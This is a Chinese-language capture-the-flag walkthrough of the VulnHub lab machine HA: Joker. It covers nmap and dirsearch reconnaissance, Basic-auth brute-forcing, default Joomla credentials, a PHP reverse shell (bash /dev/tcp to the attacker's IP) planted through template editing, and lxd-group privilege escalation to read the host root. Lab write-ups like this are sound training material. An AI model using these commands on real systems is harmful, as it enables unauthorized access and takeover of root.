Vulnhub-HA_Joker
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://www.vulnhub.com/entry/ha-joker,379/ |
将靶机设置为 NAT 模式,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.138
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务
1 | nmap -sS -A -p1-65535 -T4 -O -sV 192.168.52.138 |
扫描结果如下:系统开放了两个 HTTP 服务(80 端口和 8080 端口)、一个 SSH 服务(22 端口)
1 | PORT STATE SERVICE VERSION |
敏感信息泄露
首先访问 80 端口的 web 服务,主界面没啥有用的信息,使用 dirsearch 扫一下目录,扫到两个路径,/phpinfo.php 和 /secret.txt
phpinfo.php 没啥有用的信息,secret.txt 内容如下:
1 | Batman hits Joker. |
账密爆破
访问 8080 端口,需要登陆,根据 secret.txt 的内容,要用 rockyou 字典去爆破用户名为 joker 的密码
bp 抓包,发现网站通过 Authorization 请求头进行认证,同时传输一个 base64 编码的 账号:密码,我们按照同样的格式进行爆破(先加个 joker: 前缀,再 base64 编码)
爆破完后按照长度排序找到不同的回显,将 payload 解码即可得到正确的账号密码 joker:hannah
框架弱口令
登陆后发现是 Joomla 框架,Joomla 框架的网页在登录的时候会有一个超级管理员的默认账号密码是 joomla/joomla,尝试使用弱口令成功登录
登陆后只有一个正常的界面,没有明显的功能入口。使用 dirsearch 进行目录扫描,由于网站使用了 Basic 认证机制,扫描时需要添加认证信息。扫描命令如下:
1 | python dirsearch.py --auth-type=basic --auth=joker:hannah -u http://192.168.52.129:8080/ |
扫到一个 /administrator/ 路由,访问是后台登陆界面,再次使用默认账号密码 joomla/joomla 登陆,进入后台
漏洞利用
插件命令执行
后台 Extensions -> Templates -> Templates 处有两个插件,可以选择一个查看源码并编辑,在插件根目录写一个反弹 shell 的命令,php 反弹 shell 命令如下,命名为 shell.php 并保存
1 | exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.52.128/2233 0>&1'"); |
访问插件所在地址,地址如下:
1 | http://192.168.52.138:8080/templates/protostar/shell.php |
攻击机开启监听,拿到网站 shell
权限提升
id 命令发现用户处于 lxd 组中,尝试进行 lxd 提权
首先本机下载 Alpine 镜像,地址如下
1 | https://github.com/saghul/lxd-alpine-builder |
下载后在 lxd-alpine-builder 目录中有 alpine-v3.13-x86_64-20210218_0139.tar.gz,如果没有就自行编译,然后在当前目录使用 python 开一个 http 服务,让靶机下载该镜像文件
1 | python -m http.server 6666 # 本地启动HTTP服务 |
下载后依次使用如下命令导入镜像、创建容器、挂载宿主机根目录并进入容器
1 | lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage # 导入镜像 |
这里的 /mnt/root/ 就是靶机的根目录,可以查看任意文件,在 root 目录下发现 final.txt